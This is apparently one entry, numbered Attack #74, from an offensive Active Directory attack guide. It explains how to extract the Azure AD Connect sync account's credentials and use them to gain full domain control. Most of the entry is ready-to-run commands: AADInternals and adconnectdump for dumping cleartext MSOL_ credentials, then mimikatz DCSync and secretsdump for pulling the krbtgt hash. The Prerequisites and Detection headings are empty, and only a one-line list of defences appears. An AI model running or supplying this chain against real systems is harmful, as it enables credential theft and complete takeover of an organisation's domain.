🔷 Attack #74 — Azure AD Connect Credential Extraction

📖 How It Works

Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a privileged AD account’s credentials (the MSOL_ account or ADSync account) in a local database (encrypted with DPAPI). This account typically has DCSync rights by default — extracting its credentials from the Azure AD Connect server grants immediate DCSync capability.

⚙️ Prerequisites

💻 Full Commands

# ── AADInternals (PowerShell) ─────────────────────────────────────────────────
Install-Module AADInternals -Force
Import-Module AADInternals
Get-AADIntSyncCredentials
# Output:
# Domain: corp.local
# Username: MSOL_<hex>
# Password: <cleartext_password>

# ── adconnectdump (manual extraction) ─────────────────────────────────────────
.\adconnectdump.exe
# Extracts MSOL_ credentials from the local SQL database

# ── Now DCSync with the MSOL_ account ─────────────────────────────────────────
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# MSOL_ account has DCSync rights by default

# ── From Linux (after extracting credentials) ─────────────────────────────────
secretsdump.py corp.local/MSOL_<hex>:'<password>'@DC01.corp.local -just-dc-user krbtgt

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[Azure AD Connect] ──→ Extract MSOL_ creds → DCSync → domain compromise
         │
         ├──→ 🔑 MSOL_ account has DCSync rights by DEFAULT
         ├──→ 🔗 Compromise AD Connect server → full domain compromise
         └──→ 💀 Defeated by: harden AD Connect server, use gMSA for sync, monitor MSOL_ usage

✅ Attack #74 — Azure AD Connect complete.